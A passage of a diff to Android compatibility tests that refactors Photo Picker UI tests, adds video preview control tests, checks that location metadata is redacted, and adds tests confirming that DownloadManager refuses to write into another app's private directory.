+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
@@ -19,13 +19,15 @@
 import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertMimeType;
 import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPickerUriFormat;
 import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.createDNGVideos;
 import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages;
 import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideos;
 import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
 import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
 import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
 import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddButton;
 import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddOrSelectButton;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -37,7 +39,6 @@
 import android.net.Uri;
 import android.provider.MediaStore;
 
-import androidx.test.filters.SdkSuppress;
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.uiautomator.UiObject;
 import androidx.test.uiautomator.UiSelector;
@@ -53,7 +54,6 @@
  * Photo Picker Device only tests for common flows.
  */
 @RunWith(AndroidJUnit4.class)
-@SdkSuppress(minSdkVersion = 31, codeName = "S")
 public class PhotoPickerTest extends PhotoPickerBaseTest {
     private List<Uri> mUriList = new ArrayList<>();
 
@@ -74,8 +74,7 @@
         mActivity.startActivityForResult(intent, REQUEST_CODE);
 
         final UiObject item = findItemList(itemCount).get(0);
-        item.click();
-        mDevice.waitForIdle();
+        clickAndWait(item);
 
         final Uri uri = mActivity.getResult().data.getData();
         assertPickerUriFormat(uri, mContext.getUserId());
@@ -95,8 +94,8 @@
         mDevice.waitForIdle();
 
         final UiObject addButton = findPreviewAddOrSelectButton();
-        addButton.click();
-        mDevice.waitForIdle();
+        assertThat(addButton.waitForExists(1000)).isTrue();
+        clickAndWait(addButton);
 
         final Uri uri = mActivity.getResult().data.getData();
         assertPickerUriFormat(uri, mContext.getUserId());
@@ -136,9 +135,7 @@
         assertThat(itemCount).isEqualTo(imageCount);
         // Select maxCount + 1 item
         for (int i = 0; i < itemCount; i++) {
-            final UiObject item = itemList.get(i);
-            item.click();
-            mDevice.waitForIdle();
+            clickAndWait(itemList.get(i));
         }
 
         UiObject snackbarTextView = mDevice.findObject(new UiSelector().text(
@@ -149,9 +146,7 @@
         assertWithMessage("Timed out waiting for snackbar to disappear").that(
                 snackbarTextView.waitUntilGone(SHORT_TIMEOUT)).isTrue();
 
-        final UiObject addButton = findAddButton();
-        addButton.click();
-        mDevice.waitForIdle();
+        clickAndWait(findAddButton());
 
         final ClipData clipData = mActivity.getResult().data.getClipData();
         final int count = clipData.getItemCount();
@@ -170,9 +165,7 @@
         final int itemCount = itemList.size();
         assertThat(itemCount).isEqualTo(imageCount);
         // Select 1 item
-        final UiObject item = itemList.get(0);
-        item.click();
-        mDevice.waitForIdle();
+        clickAndWait(itemList.get(0));
 
         final Uri uri = mActivity.getResult().data.getData();
         assertPickerUriFormat(uri, mContext.getUserId());
@@ -192,14 +185,10 @@
         final int itemCount = itemList.size();
         assertThat(itemCount).isEqualTo(imageCount);
         for (int i = 0; i < itemCount; i++) {
-            final UiObject item = itemList.get(i);
-            item.click();
-            mDevice.waitForIdle();
+            clickAndWait(itemList.get(i));
         }
 
-        final UiObject addButton = findAddButton();
-        addButton.click();
-        mDevice.waitForIdle();
+        clickAndWait(findAddButton());
 
         final ClipData clipData = mActivity.getResult().data.getClipData();
         final int count = clipData.getItemCount();
@@ -213,39 +202,39 @@
 
     @Test
     public void testMultiSelect_longPress() throws Exception {
-        final int imageCount = 3;
-        createImages(imageCount, mContext.getUserId(), mUriList);
+        final int videoCount = 3;
+        createDNGVideos(videoCount, mContext.getUserId(), mUriList);
         final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
         // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit()
         intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100);
+        intent.setType("video/*");
         mActivity.startActivityForResult(intent, REQUEST_CODE);
 
-        final List<UiObject> itemList = findItemList(imageCount);
+        final List<UiObject> itemList = findItemList(videoCount);
         final int itemCount = itemList.size();
-        assertThat(itemCount).isEqualTo(imageCount);
+        assertThat(itemCount).isEqualTo(videoCount);
 
         // Select one item from Photo grid
-        itemList.get(0).click();
-        mDevice.waitForIdle();
+        clickAndWait(itemList.get(0));
 
+        // Preview the item
         UiObject item = itemList.get(1);
         item.longClick();
         mDevice.waitForIdle();
 
+        final UiObject addOrSelectButton = findPreviewAddOrSelectButton();
+        assertWithMessage("Timed out waiting for AddOrSelectButton to appear")
+                .that(addOrSelectButton.waitForExists(1000)).isTrue();
+
         // Select the item from Preview
-        final UiObject selectButton = findPreviewAddOrSelectButton();
-        selectButton.click();
-        mDevice.waitForIdle();
+        clickAndWait(addOrSelectButton);
 
         mDevice.pressBack();
 
         // Select one more item from Photo grid
-        itemList.get(2).click();
-        mDevice.waitForIdle();
+        clickAndWait(itemList.get(2));
 
-        final UiObject addButton = findAddButton();
-        addButton.click();
-        mDevice.waitForIdle();
+        clickAndWait(findAddButton());
 
         // Verify that all 3 items are returned
         final ClipData clipData = mActivity.getResult().data.getClipData();
@@ -271,31 +260,21 @@
         final int itemCount = itemList.size();
         assertThat(itemCount).isEqualTo(imageCount);
         for (int i = 0; i < itemCount; i++) {
-            final UiObject item = itemList.get(i);
-            item.click();
-            mDevice.waitForIdle();
+            clickAndWait(itemList.get(i));
         }
 
-        final UiObject viewSelectedButton = findViewSelectedButton();
-        viewSelectedButton.click();
-        mDevice.waitForIdle();
+        clickAndWait(findViewSelectedButton());
 
         // Swipe left three times
-        swipeLeft();
-        mDevice.waitForIdle();
-        swipeLeft();
-        mDevice.waitForIdle();
-        swipeLeft();
-        mDevice.waitForIdle();
+        swipeLeftAndWait();
+        swipeLeftAndWait();
+        swipeLeftAndWait();
 
         // Deselect one item
-        final UiObject selectCheckButton = findPreviewSelectCheckButton();
-        selectCheckButton.click();
-        mDevice.waitForIdle();
+        clickAndWait(findPreviewSelectCheckButton());
 
-        final UiObject addButton = findPreviewAddOrSelectButton();
-        addButton.click();
-        mDevice.waitForIdle();
+        // Return selected items
+        clickAndWait(findPreviewAddButton());
 
         final ClipData clipData = mActivity.getResult().data.getClipData();
         final int count = clipData.getItemCount();
@@ -308,11 +287,145 @@
     }
 
     @Test
+    public void testMultiSelect_PreviewVideoPlayPause() throws Exception {
+        launchPreviewMultipleWithVideos(/* videoCount */ 4);
+
+        // Check Play/Pause in first video
+        testVideoPreviewPlayPause();
+
+        // Move to second video
+        swipeLeftAndWait();
+        // Check Play/Pause in second video
+        testVideoPreviewPlayPause();
+
+        // Move to fourth video
+        swipeLeftAndWait();
+        swipeLeftAndWait();
+        // Check Play/Pause in fourth video
+        testVideoPreviewPlayPause();
+
+        final UiObject addButton = findPreviewAddButton();
+        addButton.click();
+        // We don't test the result of the picker here because the intention of the test is only to
+        // test the video controls
+    }
+
+    @Test
+    public void testMultiSelect_PreviewVideoMuteButton() throws Exception {
+        launchPreviewMultipleWithVideos(/* videoCount */ 4);
+
+        final UiObject playPauseButton = findPlayPauseButton();
+        final UiObject muteButton = findMuteButton();
+        final UiObject playerView = findPlayerView();
+
+        // set-up and wait for player controls to be sticky
+        setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton);
+
+        // Test 1: Initial state of the mute Button
+        // Check that initial state of mute button is `selected`, i.e., volume off
+        assertThat(muteButton.isSelected()).isTrue();
+
+        // Test 2: Click Mute Button
+        // Click to unmute the audio
+        clickAndWait(muteButton);
+        // Check that mute button state is `not selected`, i.e., it shows `volume up` icon
+        assertThat(muteButton.isSelected()).isFalse();
+        // Click on the muteButton and check that mute button status is now `selected`
+        clickAndWait(muteButton);
+        assertThat(muteButton.isSelected()).isTrue();
+
+        // Test 3: Swipe resumes mute state, with state of mute button = `not selected`
+        // Click muteButton again to check the next video resumes the previous video's mute state
+        clickAndWait(muteButton);
+        assertThat(muteButton.isSelected()).isFalse();
+        // check that next video resumed previous video's mute state
+        swipeLeftAndWait();
+        // set-up and wait for player controls to be sticky
+        setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton);
+        assertThat(muteButton.isSelected()).isFalse();
+
+        // Test 4: Swipe resumes mute state, with state of the button = `selected`
+        // Click muteButton again to check the next video resumes the previous video's mute state
+        clickAndWait(muteButton);
+        assertThat(muteButton.isSelected()).isTrue();
+        // Swipe to next page and check that muteButton is selected
+        swipeLeftAndWait();
+        // set-up and wait for player controls to be sticky
+        setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton);
+        assertThat(muteButton.isSelected()).isTrue();
+
+        // Test 5: Next preview resumes mute state
+        // Click muteButton again to check if next Preview launch resumes the muteButton state
+        clickAndWait(muteButton);
+        assertThat(muteButton.isSelected()).isFalse();
+        // Go back and launch preview again
+        mDevice.pressBack();
+        // set-up and wait for player controls to be sticky
+        clickAndWait(findViewSelectedButton());
+        setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton);
+        assertThat(muteButton.isSelected()).isFalse();
+
+        clickAndWait(findPreviewAddButton());
+        // We don't test the result of the picker here because the intention of the test is only to
+        // test the video controls
+    }
+
+    @Test
+    public void testMultiSelect_PreviewVideoControlsVisibility() throws Exception {
+        launchPreviewMultipleWithVideos(/* videoCount */ 3);
+
+        mDevice.waitForIdle();
+
+        final UiObject playPauseButton = findPlayPauseButton();
+        final UiObject muteButton = findMuteButton();
+        // Check that the player controls are visible
+        assertPlayerControlsVisible(playPauseButton, muteButton);
+
+        // Check that buttons auto hide.
+        assertPlayerControlsAutoHide(playPauseButton, muteButton);
+
+        final UiObject playerView = findPlayerView();
+        // Click on StyledPlayerView to make the video controls visible
+        clickAndWait(playerView);
+        assertPlayerControlsVisible(playPauseButton, muteButton);
+
+        // Wait for 1s and check that controls are still visible
+        assertPlayerControlsDontAutoHide(playPauseButton, muteButton);
+
+        // Click on StyledPlayerView and check that controls are no longer visible. Don't click in
+        // the center, clicking in the center may pause the video.
+        playerView.clickBottomRight();
+        mDevice.waitForIdle();
+        assertPlayerControlsHidden(playPauseButton, muteButton);
+
+        // Swipe left and check that controls are not visible
+        swipeLeftAndWait();
+        assertPlayerControlsHidden(playPauseButton, muteButton);
+
+        // Click on the StyledPlayerView and check that controls appear
+        clickAndWait(playerView);
+        assertPlayerControlsVisible(playPauseButton, muteButton);
+
+        // Swipe left to check that controls are now visible on swipe
+        swipeLeftAndWait();
+        assertPlayerControlsVisible(playPauseButton, muteButton);
+
+        // Check that the player controls are auto hidden in 1s
+        assertPlayerControlsAutoHide(playPauseButton, muteButton);
+
+        final UiObject addButton = findPreviewAddButton();
+        addButton.click();
+        // We don't test the result of the picker here because the intention of the test is only to
+        // test the video controls
+    }
+
+    @Test
     public void testMimeTypeFilter() throws Exception {
         final int videoCount = 2;
-        createVideos(videoCount, mContext.getUserId(), mUriList);
+        createDNGVideos(videoCount, mContext.getUserId(), mUriList);
         final int imageCount = 1;
         createImages(imageCount, mContext.getUserId(), mUriList);
+
         final String mimeType = "video/dng";
 
         final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
@@ -326,14 +439,10 @@
         final int itemCount = itemList.size();
         assertThat(itemCount).isAtLeast(videoCount);
         for (int i = 0; i < itemCount; i++) {
-            final UiObject item = itemList.get(i);
-            item.click();
-            mDevice.waitForIdle();
+            clickAndWait(itemList.get(i));
         }
 
-        final UiObject addButton = findAddButton();
-        addButton.click();
-        mDevice.waitForIdle();
+        clickAndWait(findAddButton());
 
         final ClipData clipData = mActivity.getResult().data.getClipData();
         final int count = clipData.getItemCount();
@@ -346,6 +455,94 @@
         }
     }
 
+    private void testVideoPreviewPlayPause() throws Exception {
+        final UiObject playPauseButton = findPlayPauseButton();
+        final UiObject muteButton = findMuteButton();
+
+        // Wait for buttons to auto hide.
+        assertPlayerControlsAutoHide(playPauseButton, muteButton);
+
+        // Click on StyledPlayerView to make the video controls visible
+        clickAndWait(findPlayerView());
+
+        // PlayPause button is now pause button, click the button to pause the video.
+        clickAndWait(playPauseButton);
+
+        // Wait for 1s and check that play button is not auto hidden
+        assertPlayerControlsDontAutoHide(playPauseButton, muteButton);
+
+        // PlayPause button is now play button, click the button to play the video.
+        clickAndWait(playPauseButton);
+        // Check that pause button auto-hides in 1s.
+        assertPlayerControlsAutoHide(playPauseButton, muteButton);
+    }
+
+    private void launchPreviewMultipleWithVideos(int videoCount) throws  Exception {
+        createVideos(videoCount, mContext.getUserId(), mUriList);
+        final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+        // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit()
+        intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100);
+        intent.setType("video/*");
+        mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+        final List<UiObject> itemList = findItemList(videoCount);
+        final int itemCount = itemList.size();
+
+        assertThat(itemCount).isEqualTo(videoCount);
+
+        for (int i = 0; i < itemCount; i++) {
+            clickAndWait(itemList.get(i));
+        }
+
+        clickAndWait(findViewSelectedButton());
+
+        // Wait for playback to start. This is needed in some devices where playback
+        // buffering -> ready state takes around 10s.
+        final long playbackStartTimeout = 10000;
+        (findPreviewVideoImageView()).waitUntilGone(playbackStartTimeout);
+    }
+
+    private void setUpAndAssertStickyPlayerControls(UiObject playerView, UiObject playPauseButton,
+            UiObject muteButton) throws Exception {
+        // Check that buttons auto hide.
+        assertPlayerControlsAutoHide(playPauseButton, muteButton);
+        // Click on StyledPlayerView to make the video controls visible
+        clickAndWait(playerView);
+        assertPlayerControlsVisible(playPauseButton, muteButton);
+    }
+
+    private void assertPlayerControlsVisible(UiObject playPauseButton, UiObject muteButton) {
+        assertVisible(playPauseButton, "Expected play/pause button to be visible");
+        assertVisible(muteButton, "Expected mute button to be visible");
+    }
+
+    private void assertPlayerControlsHidden(UiObject playPauseButton, UiObject muteButton) {
+        assertHidden(playPauseButton, "Expected play/pause button to be hidden");
+        assertHidden(muteButton, "Expected mute button to be hidden");
+    }
+
+    private void assertPlayerControlsAutoHide(UiObject playPauseButton, UiObject muteButton) {
+        // These buttons should auto hide in 1 second after the video playback start. Since we can't
+        // identify the video playback start time, we wait for 2 seconds instead.
+        assertWithMessage("Expected play/pause button to auto hide in 2s")
+                .that(playPauseButton.waitUntilGone(2000)).isTrue();
+        assertHidden(muteButton, "Expected mute button to hide after 2s");
+    }
+
+    private void assertPlayerControlsDontAutoHide(UiObject playPauseButton, UiObject muteButton) {
+        assertWithMessage("Expected play/pause button to not auto hide in 1s")
+                .that(playPauseButton.waitUntilGone(1100)).isFalse();
+        assertVisible(muteButton, "Expected mute button to be still visible after 1s");
+    }
+
+    private void assertVisible(UiObject button, String message) {
+        assertWithMessage(message).that(button.exists()).isTrue();
+    }
+
+    private void assertHidden(UiObject button, String message) {
+        assertWithMessage(message).that(button.exists()).isFalse();
+    }
+
     private static UiObject findViewSelectedButton() {
         return new UiObject(new UiSelector().resourceIdMatches(
                 REGEX_PACKAGE_NAME + ":id/button_view_selected"));
@@ -356,9 +553,36 @@
                 REGEX_PACKAGE_NAME + ":id/preview_select_check_button"));
     }
 
-    private void swipeLeft() {
+
+    private static UiObject findPlayerView() {
+        return new UiObject(new UiSelector().resourceIdMatches(
+                REGEX_PACKAGE_NAME + ":id/preview_player_view"));
+    }
+
+    private static UiObject findMuteButton() {
+        return new UiObject(new UiSelector().resourceIdMatches(
+                REGEX_PACKAGE_NAME + ":id/preview_mute"));
+    }
+
+    private static UiObject findPlayPauseButton() {
+        return new UiObject(new UiSelector().resourceIdMatches(
+                REGEX_PACKAGE_NAME + ":id/exo_play_pause"));
+    }
+
+    private static UiObject findPreviewVideoImageView() {
+        return new UiObject(new UiSelector().resourceIdMatches(
+                REGEX_PACKAGE_NAME + ":id/preview_video_image"));
+    }
+
+    private void clickAndWait(UiObject uiObject) throws Exception {
+        uiObject.click();
+        mDevice.waitForIdle();
+    }
+
+    private void swipeLeftAndWait() {
         final int width = mDevice.getDisplayWidth();
         final int height = mDevice.getDisplayHeight();
-        mDevice.swipe(width / 2, height / 2, width / 4, height / 2, 10);
+        mDevice.swipe(15 * width / 20, height / 2, width / 20, height / 2, 20);
+        mDevice.waitForIdle();
     }
 }
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java
index 28380f9..d9ff84b 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java
@@ -16,9 +16,8 @@
 
 package android.photopicker.cts.util;
 
-import static android.photopicker.cts.util.PhotoPickerFilesUtils.DISPLAY_NAME_PREFIX;
-import static android.provider.MediaStore.Files.FileColumns.MEDIA_TYPE_IMAGE;
-import static android.provider.MediaStore.Files.FileColumns.MEDIA_TYPE_VIDEO;
+import static android.os.SystemProperties.getBoolean;
+import static android.provider.MediaStore.Files.FileColumns;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
@@ -32,8 +31,6 @@
 import android.net.Uri;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
-import android.provider.MediaStore;
-import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -65,57 +62,50 @@
 
     public static void assertRedactedReadOnlyAccess(Uri uri) throws Exception {
         assertThat(uri).isNotNull();
-        final String[] projection = new String[]{MediaStore.Files.FileColumns.TITLE,
-                MediaStore.Files.FileColumns.MEDIA_TYPE};
+        // TODO(b/205291616): Replace FileColumns.MIME_TYPE with PickerMediaColumns.MIME_TYPE
+        final String[] projection = new String[]{ FileColumns.MIME_TYPE };
         final Context context = InstrumentationRegistry.getTargetContext();
         final ContentResolver resolver = context.getContentResolver();
-        final Cursor c = resolver.query(uri, projection, null, null);
-        assertThat(c).isNotNull();
-        assertThat(c.moveToFirst()).isTrue();
+        try (Cursor c = resolver.query(uri, projection, null, null)) {
+            assertThat(c).isNotNull();
+            assertThat(c.moveToFirst()).isTrue();
 
-        boolean canCheckRedacted = false;
-        // If the file is inserted by this test case, we can check the redaction.
-        // To avoid checking the redaction on the other media file.
-        if (c.getString(0).startsWith(DISPLAY_NAME_PREFIX)) {
-            canCheckRedacted = true;
-        } else {
-            Log.d(TAG, uri + " is not the test file we expected, don't check the redaction");
-        }
+            final String mimeType;
+            if (getBoolean("sys.photopicker.pickerdb.enabled", true)) {
+                // TODO(b/205291616): Replace FileColumns.MIME_TYPE with
+                // PickerMediaColumns.MIME_TYPE
+                mimeType = c.getString(c.getColumnIndex(FileColumns.MIME_TYPE));
+            } else {
+                mimeType = c.getString(c.getColumnIndex(FileColumns.MIME_TYPE));
+            }
 
-        final int mediaType = c.getInt(1);
-        switch (mediaType) {
-            case MEDIA_TYPE_IMAGE:
-                assertImageRedactedReadOnlyAccess(uri, canCheckRedacted, resolver);
-                break;
-            case MEDIA_TYPE_VIDEO:
-                assertVideoRedactedReadOnlyAccess(uri, canCheckRedacted, resolver);
-                break;
-            default:
-                fail("The media type is not as expected: " + mediaType);
+            if (mimeType.startsWith("image")) {
+                assertImageRedactedReadOnlyAccess(uri, resolver);
+            } else if (mimeType.startsWith("video")) {
+                assertVideoRedactedReadOnlyAccess(uri, resolver);
+            } else {
+                fail("The mime type is not as expected: " + mimeType);
+            }
         }
     }
 
-    private static void assertVideoRedactedReadOnlyAccess(Uri uri, boolean shouldCheckRedacted,
-            ContentResolver resolver) throws Exception {
-        if (shouldCheckRedacted) {
-            // The location is redacted
-            try (InputStream in = resolver.openInputStream(uri);
-                 ByteArrayOutputStream out = new ByteArrayOutputStream()) {
-                FileUtils.copy(in, out);
-                byte[] bytes = out.toByteArray();
-                byte[] xmpBytes = Arrays.copyOfRange(bytes, 3269, 3269 + 13197);
-                String xmp = new String(xmpBytes);
-                assertWithMessage("Failed to redact XMP longitude")
-                        .that(xmp.contains("10,41.751000E")).isFalse();
-                assertWithMessage("Failed to redact XMP latitude")
-                        .that(xmp.contains("53,50.070500N")).isFalse();
-                assertWithMessage("Redacted non-location XMP")
-                        .that(xmp.contains("13166/7763")).isTrue();
-            }
-        }
-
-        try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "r")) {
-            // this should pass
+    private static void assertVideoRedactedReadOnlyAccess(Uri uri, ContentResolver resolver)
+            throws Exception {
+        // The location is redacted
+        // TODO(b/201505595): Make this method work for test_video.mp4. Currently it works only for
+        //  test_video_dng.mp4
+        try (InputStream in = resolver.openInputStream(uri);
+                ByteArrayOutputStream out = new ByteArrayOutputStream()) {
+            FileUtils.copy(in, out);
+            byte[] bytes = out.toByteArray();
+            byte[] xmpBytes = Arrays.copyOfRange(bytes, 3269, 3269 + 13197);
+            String xmp = new String(xmpBytes);
+            assertWithMessage("Failed to redact XMP longitude")
+                    .that(xmp.contains("10,41.751000E")).isFalse();
+            assertWithMessage("Failed to redact XMP latitude")
+                    .that(xmp.contains("53,50.070500N")).isFalse();
+            assertWithMessage("Redacted non-location XMP")
+                    .that(xmp.contains("13166/7763")).isTrue();
         }
 
         // assert no write access
@@ -125,31 +115,25 @@
         }
     }
 
-    private static void assertImageRedactedReadOnlyAccess(Uri uri, boolean shouldCheckRedacted,
-            ContentResolver resolver) throws Exception {
-        if (shouldCheckRedacted) {
-            // The location is redacted
-            try (InputStream is = resolver.openInputStream(uri)) {
-                final ExifInterface exif = new ExifInterface(is);
-                final float[] latLong = new float[2];
-                exif.getLatLong(latLong);
-                assertWithMessage("Failed to redact latitude")
-                        .that(latLong[0]).isWithin(0.001f).of(0);
-                assertWithMessage("Failed to redact longitude")
-                        .that(latLong[1]).isWithin(0.001f).of(0);
+    private static void assertImageRedactedReadOnlyAccess(Uri uri, ContentResolver resolver)
+            throws Exception {
+        // The location is redacted
+        try (InputStream is = resolver.openInputStream(uri)) {
+            final ExifInterface exif = new ExifInterface(is);
+            final float[] latLong = new float[2];
+            exif.getLatLong(latLong);
+            assertWithMessage("Failed to redact latitude")
+                    .that(latLong[0]).isWithin(0.001f).of(0);
+            assertWithMessage("Failed to redact longitude")
+                    .that(latLong[1]).isWithin(0.001f).of(0);
 
-                String xmp = exif.getAttribute(ExifInterface.TAG_XMP);
-                assertWithMessage("Failed to redact XMP longitude")
-                        .that(xmp.contains("10,41.751000E")).isFalse();
-                assertWithMessage("Failed to redact XMP latitude")
-                        .that(xmp.contains("53,50.070500N")).isFalse();
-                assertWithMessage("Redacted non-location XMP")
-                        .that(xmp.contains("LensDefaults")).isTrue();
-            }
-        }
-
-        try (ParcelFileDescriptor pfd = resolver.openFileDescriptor(uri, "r")) {
-            // this should pass
+            String xmp = exif.getAttribute(ExifInterface.TAG_XMP);
+            assertWithMessage("Failed to redact XMP longitude")
+                    .that(xmp.contains("10,41.751000E")).isFalse();
+            assertWithMessage("Failed to redact XMP latitude")
+                    .that(xmp.contains("53,50.070500N")).isFalse();
+            assertWithMessage("Redacted non-location XMP")
+                    .that(xmp.contains("LensDefaults")).isTrue();
         }
 
         // assert no write access
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
index 37a44f9..8103b70 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
@@ -49,6 +49,15 @@
         }
     }
 
+    public static void createDNGVideos(int count, int userId, List<Uri> uriList)
+            throws Exception {
+        for (int i = 0; i < count; i++) {
+            final Uri uri = createDNGVideo(userId);
+            uriList.add(uri);
+            clearMediaOwner(uri, userId);
+        }
+    }
+
     public static void createVideos(int count, int userId, List<Uri> uriList)
             throws Exception {
         for (int i = 0; i < count; i++) {
@@ -69,8 +78,14 @@
         ShellUtils.runShellCommand(cmd);
     }
 
+    private static Uri createDNGVideo(int userId) throws Exception {
+        final Uri uri = stageMedia(R.raw.test_video_dng,
+                MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId);
+        return uri;
+    }
+
     private static Uri createVideo(int userId) throws Exception {
-        final Uri uri = stageMedia(R.raw.testvideo_meta,
+        final Uri uri = stageMedia(R.raw.test_video,
                 MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId);
         return uri;
     }
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
index 6a64e72..d20dcd6 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
@@ -73,6 +73,11 @@
         return itemList;
     }
 
+    public static UiObject findPreviewAddButton() {
+        return new UiObject(new UiSelector().resourceIdMatches(
+                REGEX_PACKAGE_NAME + ":id/preview_add_button"));
+    }
+
     public static UiObject findPreviewAddOrSelectButton() {
         return new UiObject(new UiSelector().resourceIdMatches(
                 REGEX_PACKAGE_NAME + ":id/preview_add_or_select_button"));
diff --git a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
index 8b7d348..1df830d 100644
--- a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
+++ b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
@@ -15,6 +15,8 @@
  */
 package android.app.cts;
 
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.assertArrayEquals;
@@ -32,6 +34,7 @@
 
 import androidx.test.runner.AndroidJUnit4;
 
+import org.junit.Assert;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -99,6 +102,28 @@
     }
 
     @Test
+    public void testSetDestinationUri_privateAppDir() throws Exception {
+        // Make sure the private app directory exists
+        runShellCommand("mkdir -p /sdcard/Android/data/com.android.shell -m 2770");
+        final File path = new File("/sdcard/Android/data/com.android.shell/"
+                + TAG + System.currentTimeMillis());
+
+        final DownloadCompleteReceiver receiver = new DownloadCompleteReceiver();
+        try {
+            IntentFilter intentFilter = new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE);
+            mContext.registerReceiver(receiver, intentFilter);
+
+            DownloadManager.Request requestPublic = new DownloadManager.Request(getGoodUrl());
+            requestPublic.setDestinationUri(Uri.fromFile(path));
+            mDownloadManager.enqueue(requestPublic);
+            Assert.fail("Cannot download files into other app's private directories");
+        } catch (SecurityException expected) {
+        } finally {
+            mContext.unregisterReceiver(receiver);
+        }
+    }
+
+    @Test
     public void testDestinationInExternalPublicDir() throws Exception {
         File publicLocation = new File(
                 Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOCUMENTS),
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 2120687..ae40d89 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -19,6 +19,8 @@
 import static android.content.pm.PackageManager.PERMISSION_DENIED;
 import static android.content.pm.PackageManager.PERMISSION_GRANTED;
 
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
@@ -56,6 +58,7 @@
 
 import com.android.compatibility.common.util.CddTest;
 
+import org.junit.Assert;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -322,6 +325,28 @@
     }
 
     @Test
+    public void testSetDestinationUri_privateAppDir() throws Exception {
+        // Make sure the private app directory exists
+        runShellCommand("mkdir -p /sdcard/Android/data/com.android.shell -m 2770");
+        final File path = new File("/sdcard/Android/data/com.android.shell/"
+                + TAG + System.currentTimeMillis());
+
+        final DownloadCompleteReceiver receiver = new DownloadCompleteReceiver();
+        try {
+            IntentFilter intentFilter = new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE);
+            mContext.registerReceiver(receiver, intentFilter);
+
+            DownloadManager.Request requestPublic = new DownloadManager.Request(getGoodUrl());
+            requestPublic.setDestinationUri(Uri.fromFile(path));
+            mDownloadManager.enqueue(requestPublic);
+            Assert.fail("Cannot download files into other app's private directories");
+        } catch (SecurityException expected) {
+        } finally {
+            mContext.unregisterReceiver(receiver);
+        }
+    }
+
+    @Test
     public void testSetDestinationUri_invalidRequests() throws Exception {
         final File documentsFile = new File(
                 Environment.getExternalStoragePublicDirectory("TestDir"),
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index d53a952..be1c791 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -1859,32 +1859,6 @@
         }
     }
 
